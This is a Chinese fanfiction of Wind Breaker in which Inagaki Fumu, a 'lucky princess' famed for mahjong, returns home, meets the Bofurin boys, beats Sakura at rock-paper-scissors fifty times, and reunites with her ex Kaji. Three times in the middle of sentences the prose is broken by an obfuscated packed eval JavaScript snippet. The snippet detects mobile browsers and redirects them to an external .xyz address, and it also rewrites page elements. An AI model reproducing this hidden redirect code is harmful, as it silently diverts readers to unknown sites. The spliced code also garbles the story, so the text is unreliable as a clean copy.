《[防风铃]藏锋》 1. 不可以牵手的关系 百花王的制服还是太显眼了。 奢华的深红色,配黑色的衣领和袖口,剪裁收身合体,低调又贵气。 放在欧式庄园式建筑的百花王学园里的话还好,同学都是名门贵族、政客财阀家的孩子,都这么穿也就没什么;而一旦出了千代田,单单走在路上就会引人注目,进了正东风镇这种整体风格和色调都流于简单朴素的街区就更显得无比刺眼。 早知道换身私服再回来了——被几个流里流气不正经的青年人拦在商店街的时候,稻垣心里作如此想。 “小姐是外地人吧,没在这一带见过你啊——”“穿着制服,还是高中生吧?”“你是来找朋友的吗?还是来玩的?找人我们可以帮忙啊,一起玩的就更好了啊哈哈哈!” 稻垣抬手看了看表,然后垂下视线。 在搭讪高中生的街头混混眼里,就是一个仪态端庄的少女示弱似的回避。 对于搭讪的人来说,对方摆出这种畏缩又暧昧的姿态就是可以更进一步的意思。 “小姐总是看地上干什么呀?”“难不成是不好意思看我们吗?害羞了?哈哈哈真是惹人怜爱啊。” 一阵微风卷过,精心打理过的头发扬起来迷了人眼。看起来软弱可欺的女高中生勾着纤细的手指把散乱的发丝掠到耳后。她薄唇微动,嗓音清泠。 “误会。不抬头只是因为不想看见脏东西。” “……哈?”小混混没有反应过来。 “还有,我奉劝各位不要缠着我比较好。” 她抬起绿意森然的眼睛,幽幽地睨了他们一眼——换作别人,用这种眼神看人,多半是要叫被看的人头皮一紧的;可稻垣这个人乍一眼看过去实在没什么威慑力。她大抵是个标准的娇养大小姐,家教很好,妆发精致,与此同时瘦骨伶仃,身段柔弱,别说跟人动手或者反抗了,风再大一点都能把她刮散了。 搭讪的混混们顿时面露不虞,调高了眉毛嘴角斜飞:“什么意思啊,这位大小姐,你是在拒绝我们吗?”“就是啊,你以为你是谁,大哥哥劝你好好考虑一下,看得清现在是什么状况吗?” “看得很清楚啊,所以我不是在规劝你们吗?早点离开比较好。因为我这个人运气特别好,为难我的人——” 稻垣略作停顿,不急不慌地侧过身让了一下。 “都没什么好下场。” 话音未落,一道影子裹挟割人的冷风从她侧身让开的缝隙劈了进来,快得像刚淬好的刀。领头的混混用脸接了一记结结实实的重蹬,直接飞了出去。少年落地的时候脚下顺势转了一周,鞭腿带旋扫了出去,篱笆墙似的围住稻垣的几人当即被踹散了,一地东倒西歪。 梶莲利索收腿,站直了身子,挡在稻垣跟前,顺手摘了耳罩式耳机。他挑起眼帘,懒散的眼神下面附着一层折光的锐度,透着说不出的凶狠。他又低又喑哑的嗓音像是从喉咙里挤出来的,极具攻击性,像头蓄势待发的狮子在对猎物龇牙。 “喂,离她远点。” 被梶蹬飞的那人晕晕乎乎爬了起来,怒不可遏:“你谁啊?!”旁边的人还算有点眼色,悄悄拽他衣袖:“喂,他是风铃的……” “那又怎么样?!我们五个他一个,这还能输了吗——唔噗!!” 如此这般叫嚣着,后腰立马又挨了一记飞踢,踉跄了几步五体投地。 “谁说你们五个他一个了啊?”黑白短发的少年落地后还轻轻蹦了两下,一脸嚣张地扯正外套前襟,冷嗤道,“给我睁大眼睛看路行不行。” “樱同学!等等我们啊!”又有人跑近。 樱扭头看了一眼身后姗姗来迟的两个副级长,不爽道:“还不是你们两个动作太慢了,这不都让他抢先了吗?” “欸欸欸明明就是樱同学你冲得太快了吧!”榆井抱怨,“根本反应不过来啊!” “就是嘛,是你太心急啦,樱君——那种程度,梶哥一个人就能收拾了。”苏枋背着手轻飘飘地附和,“啊,不过樱君就是这个作风嘛,这也没办法,习惯就好——” 苏枋话声忽地收住了,他感觉到一道打量的视线落在他身上,恶意称不上,却也不让人舒服。他敏锐地循着那视线盯回去,只见梶护着的那个人若无其事地转开了绿森森的眼睛,不着痕迹收敛了目光。 樱轻嗤一声,扭了扭后颈,转回去朝向混混。 “喂,怎么说?这家伙不算——”樱指了指榆井,“这边三个,你们五个——打,还是不打?” 这么猖狂的挑衅不接就不是男人,眼下不打以后都别想出门晃悠了——可那五个人在看清樱身后一步步逼近的高大男人后,还是露出了惧意。 “要命,是柊啊……柊登马啊!”“防风铃排得上号的人物来了——这次,这次还是先算了吧!!” 樱瞪着嘴里不干不净地嚷着“下次有你好受的给我等着”云云就落荒而逃的五个人,咋舌道:“哈……?这就跑了?”“那些人走了欸……”榆井看上去松了口气。“嗯,还算识趣呢。”“嗤,一群弱鸡。” “稻。”梶转过身。稻垣颔首:“好久不见,梶。” “你要回来为什么不告诉我?”梶面无表情,但谁都感觉得到他很不高兴,“要是路上出事了怎么办?” 稻垣抿了抿嘴角,没有马上回答,似乎在斟酌。 柊听了赶紧打圆场:“小稻,梅宫下午跟我说你今天回来,关照我来接你——梶听见了就也跟着来了。” 稻垣歪过头示意梶,意思是“你看吧,我知会过了”。 没想到梶根本不买账:“梅宫哥很忙,你直接跟我说不行吗?要不是巡逻经过,你一个人打算怎么办?” 一年级三人站在一旁,见这光景,悄悄嘀嘀咕咕起来。苏枋摸着下巴道:“真稀奇啊,梶哥很少这么不依不饶的吧。”樱皱眉:“哈?他认识那个女的吗?”榆井很自然地接口:“嗯,他们很早就认识了哦。” “‘欸’??” 面对苏枋和樱诧异的表情,榆井茫然道:“咦,樱同学是外地人,苏枋同学也不知道吗?稻姐姐很出名的——不过也是啊,她国中就在外面读,上了高中之后,除了新年很少回镇上的……” “榆君你叫她姐姐啊……” “我是算准了时间回来的。”稻垣的指尖叩了叩手腕上的表,“确保我到商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059603|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店街的时候,防风铃正好在巡逻,前后误差不超过五分钟。” “那也有可能在别的区域碰不到你啊!”梶的嗓门提高了一些。 柊一把摁住了他的肩膀:“梶,冷静点,我知道你担心小稻——还有小稻你也是,早点说就让梶去车站接你了,这不还是被不长眼的缠上了吗?运气再好也不能这么任性。” “柊……你是我老爹吗?”稻垣端庄无瑕的表情浮现一丝嫌弃的皴裂,“都知道我运气好了,这点小事根本就……” 她喉头一动,把后半句话咽了回去,因为梶好像要发火了。 “谁想管你啊?”柊抢先骂道,“别仗着自己聪明就老是让关心你的人难受,这跟你运气好不好根本没关系。” “……好吧,”稻垣到底还是被柊训得低了头,她叹了口气,“梶,是我不好——以后我都会告诉你的。” 梶侧过身,不搭理,也不看她,转手从裤兜里掏出一根棒棒糖撕开包装。 稻垣眨了眨眼睛,轻轻碰了碰他手腕,语气放软:“这次就原谅我吧,好吗?” 棒棒糖叼进嘴里,梶紧绷的眼角眉梢终于松下一些,含含糊糊地吐出一句“下不为例”。 稻垣笑了笑,周身刺一样支起来的漠然和轻蔑尽数散去了。她适时地偏过了脸,望向了隔着一段距离交头接耳的三个一年级:“这边有新面孔啊,风铃今年的一年生?” 柊顺势向她介绍:“嗯,多闻众一年级的级长,樱;还有副级长——榆井你认识,另一个是苏枋。” 榆井熟稔地打招呼:“稻姐姐,好久不见!”稻垣脸色明显温和许多:“确实很久不见——是错觉吗?榆给我的感觉沉稳多了。” 榆井挨了夸,不好意思地挠挠头:“哎?是吗,嘿嘿……我多少有进步一点!”“那倒是可喜可贺。” 她向樱和苏枋扫过去,眼里没有一丝波澜,微微点了点头。 “稻垣不梦,多关照。” “噢。”樱潦草点头,苏枋欠了欠身,这就算认识过了。 苏枋发现,稻垣礼数算得上周全,教养也很好,只是面对陌生人的措辞风格简洁得近乎吝啬,对榆井的态度远比对他和樱来得亲切。 打招呼的时候虽然对上了视线,但稻垣的神色岿然不动,好似刚刚打量苏枋的目光压根不存在一样。 很微妙,是个高手,善于掩藏自己的情绪,同时又能不动声色地牵着别人的鼻子走。苏枋回想刚才那一幕,暗自阖了阖眼。 稻垣在请求梶原谅的时候勾了他的袖口,梶顺势就抓过她的手牵住了。她停顿了一下,试图抽手,引得梶投去不满的一瞥。 她上身微倾,趁人不注意,抵着梶说了句话,梶脸色一沉,随即松开了她。稻垣面不改色地收回手,虚搭在书包拎带上,从容地把话题引到一年级的三人身上,仿佛这段小插曲从来不曾发生。 稻垣不知道,这些小动作,还有她和梶二人之间的眉眼官司,苏枋全都看在眼里。 她的话语末尾轻而薄,徐徐坠落在空气里,崩解成一片无色无味的尘埃。 “梶,我们现在不是可以牵手的关系了。” 2. 正东风强运姬 气质出挑的美貌少女驻足商店街,被几个风格迥异的风铃男高围着,这画面在视觉上冲击颇大,少不得引人观望。 来来去去间,已有好多熟人上前来和她打招呼,他们大多是长辈,稻垣一一应了,三两句寒暄后推说自己还和身边的朋友们有约,轻轻柔柔地把人请走;也有人硬是不看气氛凑过来试图搭讪要联系方式,但被柊和梶一左一右拦得死死地,后来干脆连窥视的目光都严防死守挡回去。 苏枋这才理解了,梶之前咄咄逼人的态度是有正当理由的,柊提出应该让人去车站接她也算不上保护过度——稻垣确实不适合一个人在治安不好的街区闲走,她的相貌太容易惹来一些没必要的麻烦了。 她身量不高但比例匀称,腰肢和臂膀都细得有些瘦弱,不过整个人姿态挺拔,很有精神。头发做了微卷,染成温柔的茶棕色,茶色不正,往微黄偏了几个色度,在阳光下闪着流淌的蜂蜜般的光泽。脸型精巧,五官优越,是秾丽大方又不落俗套的长相,眉骨纤秀,眼角略微上挑划开,勾着冶艳的神采——总的来说好看得过分,不管从哪个角度看,都是个美丽得让人移不开眼的人。 但最让人在意的是那双眼睛,绿树阴浓,眸光含得极深。可被她含着些许审视的意味上下打量的时候,又会觉得自己是被认真注目的——这个人在好好看着自己,想更多地了解自己,于是也不觉得被冒犯,反而感到飘飘然。 令苏枋困惑的是,稻垣似乎自从收回那道打量的视线后,就不再和自己对视了。 为什么,她在有意识地回避什么? 苏枋和樱同稻垣打过招呼后,柊就向他们正式介绍稻垣:“樱,苏枋,你们还不认识小稻吧。她一年前起就去外面读高中了,新年才会回来——她是在儿童养育设施里和梅宫、琴叶他们一起长大的,比梅宫小一岁,算是梅宫的妹妹。不过小稻在我们这里有个更响亮的名号,叫正东风强运姬。” 稻垣不咸不淡地反问:“哦,不是你们防风铃的ATM提款机?” 柊脸上一皱:“咳……话别说得那么难听。” 樱不客气地评价:“正东风强运姬……?听起来好蠢——”话没说完被榆井狠狠捂嘴。 “不可以乱说,樱同学。”榆井十分强势地警告,“樱同学这样口出狂言,触怒了掌管好运的神明的话,以后可再也吃不到好吃的食物了!” 打蛇打七寸,樱的脸登时一白:“什——?!真的吗!这家伙是掌管好运的——神?” “当然不是。”眼看樱又要信了,苏枋赶紧笑着插话。 “当然是!”没想到榆井的声音大到盖过了苏枋。 他清了清嗓子,义正辞严道:“倘若高天原八百位神明中有一位专门司掌我们小镇的运气,稻姐姐就是无疑就是那位好运之神的化身!” 稻垣扶了扶额头,无奈道:“我姑且是习惯了听别人吹捧我——可是榆,你这种说辞也太夸张了……” “一点不夸张!稻姐姐就是强运的化身嘛!”榆井鼓了鼓脸颊,继续向樱和苏枋宣教,“这位是稻垣不梦大人,人称正东风强运姬,赌桌上的不败传说,只要是用运气决胜负的场合,稻姐姐从来没有输过!” 樱不耐烦地挠挠头:“什么乱七八糟的啊,就算你这么说,我也不懂啊。”“你的说法确实很抽象呢,榆君。”苏枋也跟着摇了摇头,把“听起来就像小孩子在吹牛”这半截咽了下去。 “举个例子,打雀牌的话,稻姐姐有在一个半庄内一路和到飞掉末家的记录,甚至连庄独赢直接清场——东京有几家专门培养职业雀手的俱乐部一直对稻姐姐虎视眈眈呢。” “欸?好厉害。”苏枋不以为意地捧了一句。 榆井明显听出了苏枋的不相信,紧跟着强调道:“稻姐姐在东风场的统治力是无人能及的!和出过三次天和,六次地和,五次九莲宝灯,还拥有无振十三面国士无双的傲人战绩!” 苏枋听了,微微睁大眼睛:“天和地和?无振十三幺——也就是听十三张牌的国士?这运气也……太惊人了吧。” “没错!所以稻姐姐在正东风镇有‘三天六地、国士无双’的威名!” 虽然这个名号很可笑,但背后的事实更夸张啊。苏枋不禁失笑:“要攒出这样的战绩,稻小姐雀龄得有十年以上了吧。” “不不,苏枋同学,”榆井伸出一根手指摇了摇,“五次九莲宝灯姑且不论,三天六地和无振十三面国士是稻姐姐一个晚上和出来的哦!” 要不是因为说这话的是榆井,苏枋早就当场喷出来了:“一个晚上?真的假的……” “千真万确!”榆井拍着胸脯保证。 “大概是真的。”柊也帮腔,仿佛什么不堪回首的记忆浮现在脑海似的,皱紧眉头捂住了胃,“那次小稻赢得太夸张,各方反应都很激烈,最后闹得差点被请进局子里喝茶——唉,真不想回忆啊。” 樱在一边听得一个头两个大:“你们到底在说什么啊,什么天啊地啊的……” “啊……樱君不打雀牌所以不清楚吧?”苏枋好心地同他解释,“是说稻小姐和的牌是需要超强的气运的。天和的概率大概是33万分之一,地和的概率远小于11万分之一,无振十三面国士无双也是可遇不可求的牌型——一个晚上和出这些,再怎么说也太离谱了,买彩票中大奖不在话下,恐怕彗星撞地球了都不算稀奇了吧……” 苏枋不好意思说的还有九莲宝灯。九莲宝灯在民间被称作阳寿牌,相传和出一次少活九年,按照榆井的说法,稻垣光是和过五次九莲宝灯这一点,就已经把半辈子的寿命都折进去了。 稻垣突然插话:“不打雀牌的人是理解不了牌型和概率的——压倒性的强运这种东西,切身体会一次就懂了。” 她迈了几步走到樱的跟前,举起了右手,虚虚握拳,向樱发出邀请:“来试试看吧,多闻众一年级的级长?” “啊?你要干吗?”樱条件反射架起双拳。榆井赶紧拽住他:“樱同学,别冲动!” 稻垣挑了挑眉,不解道:“你猜拳要用两只手?” “哈?猜拳?”樱愣了一下。 稻垣表面看上去没有不耐烦,但话里已经带上隐隐约约的攻击性:“对,猜拳比较简单直白——你会的吧?” “我当然会,别把人当白痴啊。话说我为什么要跟你猜拳啊!” “樱——”柊开口了,他少见地带着纵容意味笑着示意,“你跟她玩吧,猜拳而已,很有趣的——又不跟你赌什么,你没损失。” 樱真的很想呛柊这话逻辑有问题吧,区区猜拳能有趣到哪去啊,不就剪刀石头布吗?而且他说自己没损失是什么意思?默认自己会输吗? 樱没想到榆井也两眼放光,跟着柊怂恿他:“就是啊,樱同学你跟稻姐姐玩玩看吧,会是很新奇的体验哦!” “什么啊,真搞不懂你们……”樱不满地抱怨,又见稻垣仍举着右手闲闲地站在面前等着他。她漂亮的绿眼睛不带一丝情绪地注视着他,冷不丁让樱产生了一种莫名的愧疚感,好像自己把人晾在一旁干等,很不礼貌。 不管了。樱也举起手:“那来吧,猜拳——三局为定?” 稻垣笑了笑,没说话。樱没懂这个笑是什么含义,他眼皮一掀,恰好撞见梶在稻垣身后向他投来怜悯中含着鄙夷的一瞥,樱气得直接瞪回去:“怎样啊?!” “咳……”柊抬手掩住嘴角,装模作样地轻咳,“你跟小稻说三局啊……”“噗……”榆井也忍不住笑出声来,“三局的话,可能樱同学自己要反悔的。” “反悔?我为什么要反悔啊?”樱莫名其妙。他下意识扭头去看自己最有头脑的搭子,想得到一些指点,结果发现在场唯一一个和他一样身在状况外的人就是苏枋。 苏枋接住他的视线,短暂地从观察和沉思中抽身而出——这时候自己再跟着大家捉弄樱就太不近人情了,更何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059604|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况他其实也不太搞得明白这是怎么回事,实在没有落井下石的立场。于是苏枋适时地出言安慰:“樱君就别考虑那么多了吧?说到底只是猜拳而已,没什么好在意的,不要紧的呀。” 苏枋这话讲得熨帖又有道理,给了樱一些底气,也让他烦躁的心态平复了少许。 “连你都这么说了……好吧。”樱再度面向稻垣。 稻垣绿茵茵的眼睛依然安静地盯着他——不知为何,被她这么定定地看着,有种被尊重的感觉:“决定了?” 樱重重点头:“来吧。” “先出石头——”她清泠泠的嗓音喊这种活泼的口诀也不显得跳脱,温凉而沉静,让人联想起山间草丛里兀自奔流的一涧溪水。 “石头剪刀布。” 石头对剪刀。樱输了。 他满不在乎道:“再来。” “石头剪刀布。” 布对石头。樱又输了。他“啧”了一声。 “石头剪刀布。” 剪刀对布。樱还是输了。 樱挠了挠头,皱眉:“不是吧?” 不过连输三局也不算特别稀奇,毕竟猜拳就是这种游戏嘛。 樱还是不可避免地有点不甘心。 稻垣体贴地问:“要再来吗?” 樱的好胜心顿时就被勾起来了:“再来三局!” 又是三连败。 榆井和柊都在憋笑,梶百无聊赖地戴上了耳机,对早已料到的结果不愿多给一个眼神。 苏枋不做声,在心里迅速计算了一下:别看才输了三局,纯粹从统计学的角度看,猜拳连输三局的概率实际上已经只有0.13%左右了,连输六局的理论值就更…… 即便只是石头剪刀布这种简单的游戏,樱也输得稍嫌离奇了。 樱彻底毛了:“再来!” 稻垣笑了:“再来多少次都行,我们可以玩到你赢,或者你放弃。” 这个笑樱读懂了,是轻蔑的嘲笑。 他气得蹦起来:“我才不会放弃!我一定要赢你!!” 五十局后,柊和榆井笑得扶着墙直不起腰,梶蹲坐在栏杆上玩手机。稻垣依然云淡风轻,口诀也省去,只是配合着樱出手的节奏一下下精准地甩出能压制樱的“剪刀”“石头”或者“布”。 樱一脸生无可恋,眼神发直,好像心灵和精神都已经在猜拳五十连败中灰飞烟灭,看得苏枋都心疼了。 苏枋走上前,搭住樱的肩膀,劝他:“樱君,要不算了吧。” 樱跟中了邪一样双目失焦,嘴里不住地喃喃:“我不要,我要赢,我一定要赢——一次就好,让我赢她一次……” “算啦,樱君,你赢不了的。”苏枋按住樱的手,一巴掌拍在他背上,把他被强运碾得四散离体的三魂七魄都叫了回来。他转而看向稻垣,语气里也不由得多了一丝心服口服的赞叹:“因为你面前这位,是三天六地、国士无双的正东风强运姬啊。” 榆井擦着笑出来的眼泪:“是啊,樱同学,虽然这么说很不好,但你就算玩到天亮也赢不了稻姐姐的,她在比拼赌运这件事上从没输过!” 稻垣终于笑了出来——不是那种抿着唇矜持而又意味不明的似笑非笑,而是展颜开怀的肆意笑容。 那笑好看得十分霸道,没有丝毫边界感,洪水般不由分说吞没了周遭的一切。苏枋怔了一下,不自觉地想起春山融雪、冻河破冰时的壮丽光景。 稻垣指着樱,用温柔的语调说着不客气的话:“柊——这孩子你可得看牢了,千万不能让他上赌桌;真是的,猜个拳都这么上头,去赌场肯定会一夜倾家荡产底裤输光,傻傻把自己卖了都毫无头绪的。” 柊很无奈:“别胡说八道,他们都没成年好吗——再说了,这里除了你还有谁会去赌啊?” 被苏枋叫回魂的樱恼羞成怒:“什么?!你说谁傻?!” 商店街回荡着众人欢快的笑声。 3. 金枝 和樱猜拳结束后,一行人沿着大街边聊边往里走。柊问稻垣接下来有什么安排,没有的话就跟他们一起去绿萝吃晚饭——一年级的三个人也跟着一起,梅宫已经提前请琴叶备食材了。 稻垣听了,没有马上给出答复,手指绕了绕发梢:“这个嘛……” 她罕见地——尽管才认识不到半个小时,苏枋却断定眼下这种举棋不定放在她身上是罕见的情况。 “我想先去见设乐老师,我有事要和老师商量。” 柊好像料到了她会这么说:“啊,设乐老师的话,梅宫说已经请他在绿萝等你了——小稻要跟他谈租房子的事情是吧?” 稻垣惊讶地眨了眨眼睛,转而无奈地笑笑:“梅真周到。” “租房子?”一个人走在最前面的梶不知道什么时候摘了耳机,“稻要回来住吗?” “嗯,学校那边的房子租约到期,房东不续,我最近也没精力再去看房子,所以就想回镇上住一段时间。设乐老师说可以帮我物色,就拜托老师了。” “有必要找新房子吗,还跟琴叶住一起不就行了?她那边多一个房间一直空着呢。”“柊,琴叶已经十六岁了,总得有点边界感。” 柊不赞成地皱了皱眉,想着都是女生强调什么边界感,再加上是一起长大的,稻垣未免太见外了。没成想稻垣看透了他的想法:“就算都是女生,也不能一直打扰琴叶——万一她交了男朋友呢,总要有自己的生活空间吧。” 柊被稻垣堵得说不出反驳的话,只觉得头疼:“琴叶的事我不好多嘴。问题是小稻你啊——真不知道梅宫那家伙怎么想的,放你一个人在外面住,出了事怎么办。” “梅又不是我的监护人,我做的决定他无权干涉。”稻垣理直气壮。 一想到商店街以后又不知道要涌进多少冲着正东风强运姬的传说和美貌而来的闲散人士,柊又有点想嗑胃药了:“你也还没成年呢!给你惯得……住回来的话通勤会很辛苦吧。”“嗯,不过我习惯早起,没事的。” 说话间,一行人到达绿萝咖啡馆,门从内侧陡然打开,琴叶迎了出来:“不梦姐,等你好久了。” “好久不见,琴叶。”稻垣由着她挽着胳膊走进咖啡馆,顺手从制服包里摸出两个纸袋,一个递给琴叶,“给,琴叶中意的那几个美妆牌子的新品——不知道你需要什么,就每样都买了点。” 琴叶在她肩头靠了靠:“谢谢啦,就知道姐姐挂念我。”“那当然。以后有空带你去买洋装。”“好!” 她扭头把另一个袋子递给柊:“这份是给椿的,捎一下。”“噢,好。” “稻垣,你回来啦。”设乐坐在吧台前看向她。 “设乐老师,久疏问候。”稻垣优雅地欠身行礼,表现出前所未有的尊重和客气,“房子的事情实在是劳烦您了。” 设乐赶紧摆摆手:“别这么客气,你为大家做的已经很多了,要是有什么能帮上你的,我们都很乐意效劳的——总之我先选了几处房子,你先看看吧?” 稻垣微笑颔首领了好意,坐到了设乐身边的位子,谈起正事,没有人去打扰他们。 柊熟门熟路自己拿杯子倒水:“梅宫应该快到了,我们等他一会儿吧。” “好啊,樱,你们先坐吧。”琴叶对着门口三个一年级偏了偏头示意。 “噢。”“琴叶小姐,我要蜜瓜苏打!”“打扰了,我喝茶就好。” 梶默不作声反身往稻垣身边的另一个空着的高脚凳上一坐,胳膊架在吧台上,顺手拉起了耳机——注意到柊对他打眼色,不明就里回了个口型:“怎么了?” 弄得柊一时无语,不想理他:“梶那家伙……还是这么理所当然地挨着小稻啊。” 苏枋恰巧经过,抬了抬眼,顺口接过这个话茬:“确实,怎么说,好像感觉到一股微妙的领地意识呢。” “哈,是吗……”柊有点僵硬,打起了哈哈。 苏枋就势停在了柊身边,一招阴手把话题拉回来:“稻小姐乍一看是个招人喜欢的美人,但总感觉距离感很强,她实际上是不怎么亲近人的性格吧。” 柊沉默了。 苏枋面上笑得八风不动,再一招阳手把话题推出去:“不过稻小姐这样的人,想也知道,少不了人要扑上去的。有点分寸的竞争者会自觉遵守规则文明游戏,和她保持一个大家默认的距离,不得到允许就不会轻易上前,可梶哥显然是不需要遵守规则的——是因为他们以前就认识吗?” 梶在稻垣身边,就好像是博物馆里最珍贵的藏品出展时,在玻璃展柜三米外拉起的警戒线,还要在旁边立个牌子,上书一行大字,“文明参观,请勿伸手”。 苏枋这番话,柊听在耳朵里,一阵胃痛,冷汗都要下来了。 柊不答反问:“你也是想越过那段公认的距离、和小稻搞好关系的那群人中的一员吗?” “只是搞好关系而已,这也不可以吗?”苏枋的语气端得很矜持。 柊摊了摊手:“倒也不是不行,不如说我们乐见其成——至少我和梅宫是这样,小稻身边多几个靠谱的人总是好事。你可以试试看,只不过要先过梶那一关。” 苏枋转头瞟了一眼柊,而后笑得眉眼弯弯:“哪儿的话,我只是觉得很有趣,随口一说罢了——失言了,真不好意思。” 同柊谈几句话的工夫,琴叶已经把樱那一桌的饮料端上来了。苏枋在樱旁边坐下来,余光恰能扫过吧台。稻垣在仔细比对设乐给她准备的资料,而梶坐在她身旁看手机。目光不曾交汇,肢体也没有接触,但就是明明白白地告诉所有人,他们彼此信任、非常亲近,谁也别想横插一脚。 樱此时也有所察觉了,他像是被吧台那边的光景刺激到了,默默把头垂得很低,短发下的耳根泛着诡异的红色。 苏枋见了,就忍不住想挑起点事端:“榆君,你之前说,梶哥和稻小姐早就认识了?怪不得他们关系很好啊。” “咦,苏枋同学看得出他们关系很好吗?”榆井有些意外,“在大家眼里,他们两位已经比以前疏远很多了哦。”苏枋故作惊讶:“是吗?”榆井压低了声音:“这话只能悄悄说哦,因为梶哥和稻姐姐交往过,后来又分手了。” “交往……?!”樱的额头一下子磕在了桌上,苏枋坐在他旁边都能感受到他身上蒸腾出来的热气。 “原来如此。”不出所料,苏枋端起了茶杯。 “更详细的我也不清楚,况且议论前辈的私事也不好嘛,就不谈这事了哦。” “他们俩那个氛、氛围……哪里像交往又分手的……”樱咬牙切齿地抬起头。榆井愕然,捂着嘴小声叫道:“樱同学你没事吧,脸红得要冒烟了!” “我没事啦!”樱愤愤地嘟囔了一句,“他们两个那个,那什么……绝对是有一腿吧!” “噫……!”榆井被樱的暴言吓了一跳,赶紧去捂他的嘴,“别乱说啊樱同学!稻姐姐和梶哥都是单身,他们以前感情那么好,又没什么撕破脸的矛盾,要是想复合根本不用藏着掖着啊!樱同学这样说很失礼啊,千万别被听到了!” 藕断丝连?大约不是那种浅薄的意味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059605|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。这方面,苏枋是同意榆井的观点的。 “我认为榆君说的有道理,稻小姐和梶哥应该不是樱君说的那种情况吧。”苏枋慢悠悠地插话。 “呵……”素有“恋爱雷达”之称的樱不服气地轻哼,“那你说说看,他们两个那样算怎么回事呗。” “嗯——那个嘛,”苏枋托着腮思考了片刻,笑着说了个既贴切又隐晦的比方,“我觉得,是类似金枝和祭司的关系哦。” 榆井茫然道:“欸?金枝是什么?祭司又是……?” “啊,说是金羊毛和巨龙也行吧,比较好懂。”“哪里好懂了啊……” 苏枋摸着下巴煞有介事道:“樱君会成为打败祭司、攀折金枝的人吗?” 忽然被点名的樱很奇怪:“哈?什么东西?” 苏枋笑呵呵地抿了口茶,自顾自往下说:“总感觉樱君很适合这种英雄主义的设定呢。” 樱嫌弃道:“你到底在自说自话些什么啊?” 苏枋笑而不答,垂目看着杯子里的茶梗,感叹道:“哇,立起来了,最近会有好事发生吗?” 樱斥道:“听人说话啊混蛋!” 苏枋拂过茶杯的杯沿,静止水光随着他的动作摇曳。 杀死祭司的奴隶可以取而代之、攀折金枝,成为王,免于过往一切的罪责——可那又如何? 对于无欲无罪之人来说,金枝再美、再神圣、再可望不可及,也不过是一段无用的树枝而已。 吧台那边,稻垣深思熟虑后做出了决定,她挑出其中一份资料放到设乐面前:“就选离商店街比较近的一户建吧,到车站的距离也合适,还带个院子。” 设乐问:“这个可能会超出稻垣一开始提的预算,没问题吗?”“钱不成问题,设乐老师。”“好啊,你离这些孩子们近一点,我也放心一些——我帮你联系一下房东和地产中介,过几天就能签合同入住。”“是,劳您费心。” 琴叶凑过来:“啊,那在签合同之前,不梦姐还住我那边吧?”稻垣点头:“嗯,那就麻烦琴叶了。”“说什么麻烦不麻烦的,不梦姐一直住我那边也行啊,我可以照顾你。”“我也大了嘛,不能一直赖着我们琴叶。” “稻,”梶吐出叼在嘴里的棒棒糖,“上下学我送你。”稻垣没有拒绝:“嗯。”“你在听这边说话啊——耳机音量不是很大吗?”琴叶撇撇嘴。“没在放。”“呃……” 忽地一阵清脆的风铃响,绿萝咖啡馆的门被推开了。 梅宫一长腿一迈踏进来,将一段绯红的落日带进温馨热闹的厅堂。 “抱歉抱歉我来晚啦——哟,小稻,欢迎回家!” 稻垣扭过头,被盛大的霞光晃了眼睛,她眯了眯眼,上上下下,挑剔地打量一番。 梅宫笑得很灿烂:“怎么样,小稻想我了吗!”稻垣轻轻嗤笑:“不是过年的时候才见过吗?”梅宫大声抱怨:“那也已经很久了欸!小稻真是越大越不可爱了!你也这么觉得吧,设乐老师!”设乐老师乐呵呵地打圆场:“欸……我们稻垣不论什么时候都很可爱啊……”稻垣端起杯子喝茶:“我们这里只要琴叶负责可爱就行了吧,我一个负责源源不断吐钞票的提款机,要可爱干什么?”“小稻!”“怎么又说自己是ATM机……”“不梦姐我不许你这么说自己!!” 和梅宫插科打诨了半天,弄得柊和琴叶都出言阻止,只有梶事不关己,没发表意见。最后,稻垣妥协了,用一种难得一见的温顺口吻说—— “我回来了——至于想念嘛,应该是稍微有点想你们吧。” 4. 一巡开杠 梅宫到绿萝咖啡馆后,一顿饭吃得吵吵闹闹鸡飞狗跳。设乐识趣地提前告辞回去,把空间让给年轻一辈玩耍。 梅宫提议既然稻垣回来了,还要在镇上长住,理应举行点小活动庆祝一下——论娱兴活动,那果然还是应该打牌,今天人多,正好可以凑两桌雀牌。 梅宫的提案遭到柊的严正抗议:“反正总归是她一个人赢全场吧,一路输到底的游戏有什么好玩的?!” 梅宫:“别这么说嘛,偶尔还是可以赢一两局的——” 柊:“梅宫你这家伙就是人菜瘾又大!记吃不记打!” 稻垣:“我也觉得,梅你们都太弱了,牌打得没意思。” 樱:“我不会打。” 